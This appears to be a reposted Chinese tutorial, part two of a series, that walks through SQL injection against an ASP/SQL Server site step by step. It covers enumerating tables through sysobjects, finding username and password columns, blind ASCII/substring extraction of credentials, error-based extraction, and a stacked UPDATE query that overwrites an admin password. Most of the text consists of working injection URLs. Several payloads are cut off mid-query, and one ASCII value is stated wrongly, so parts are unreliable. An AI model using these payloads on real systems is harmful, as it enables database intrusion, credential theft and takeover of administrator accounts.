1. 程式人生 > >sql注入攻擊詳解(二)sql注入過程詳解

sql注入攻擊詳解(二)sql注入過程詳解

l 猜解資料庫中使用者名錶的名稱
猜解法:此方法就是根據個人的經驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。並通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此迴圈,直到猜到系統帳號表的名稱。
讀取法:SQL-SERVER有一個存放系統核心資訊的表sysobjects,有關一個庫的所有表,檢視等資訊全部存放在此表中,而且此表可以通過WEB進行訪問。 
當xtype='U' and status>0代表是使用者建立的表,發現並分析每一個使用者建立的表及名稱,便可以得到使用者名錶的名稱,基本的實現方法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一個使用者建立表的名稱,並與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現表的名稱。假設發現的表名是xyz,則
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二個使用者建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據表的名稱,一般可以認定那張表使用者存放使用者名稱及密碼,以下假設此表名為Admin。
l 猜解使用者名稱欄位及密碼欄位名稱
admin表中一定有一個使用者名稱欄位,也一定有一個密碼欄位,只有得到此兩個欄位的名稱,才有可能得到此兩欄位的內容。如何得到它們的名稱呢,同樣有以下兩種方法。
猜解法:此方法就是根據個人的經驗猜欄位名,一般來說,使用者名稱欄位的名稱常用:username,name,user,account等。而密碼欄位的名稱常用:password,pass,pwd,passwd等。並通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.asp?p=YY
 and (select count(欄位名) from TestDB.dbo.admin)>0 “select count(欄位名) from 表名”語句得到表的行數,所以若欄位名存在,則abc.asp工作正常,否則異常。如此迴圈,直到猜到兩個欄位的名稱。
讀取法:基本的實現方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個欄位名,當與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現欄位的名稱。把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的欄位名稱。
l 猜解使用者名稱與密碼
猜使用者名稱與密碼的內容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出欄位的長度,然後依次猜出每一位的值。猜使用者名稱與猜密碼的方法相同,以下以猜使用者名稱為例說明其過程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY
 and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username為使用者名稱欄位的名稱,admin為表的名稱),若x為某一值i且abc.asp執行正常時,則i就是第一個使用者名稱的長度。如:當輸入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8時abc.asp執行正常,則第一個使用者名稱的長度為8
HTTP://xxx.xxx.xxx/abc.asp?p=YY
 and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的使用者名稱長度之間,當m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統使用者帳號表的名稱),若n為某一值i且abc.asp執行正常時,則i對應ASCII碼就是使用者名稱某一位值。如:當輸入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.asp執行正常,則使用者名稱的第三位為P(P的ASCII為80);
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.asp執行正常,則使用者名稱的第9位為!(!的ASCII為80);
猜到第一個使用者名稱及密碼後,同理,可以猜出其他所有使用者名稱與密碼。注意:有時得到的密碼可能是經md5等方式加密後的資訊,還需要用專用工具進行脫密。或者先改其密碼,使用完後再改回來,見下面說明。
簡單法:猜使用者名稱用
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一個欄位,username是使用者名稱欄位,此時abc.asp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二使用者名稱,第三個使用者等等,直到表中的所有使用者名稱。
猜使用者密碼:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一個欄位,pwd是密碼欄位,此時abc.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二使用者名稱的密碼,第三個使用者的密碼等等,直到表中的所有使用者的密碼。密碼有時是經MD5加密的,可以改密碼。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的使用者名稱)
用同樣的方法當然可把密碼改原來的值。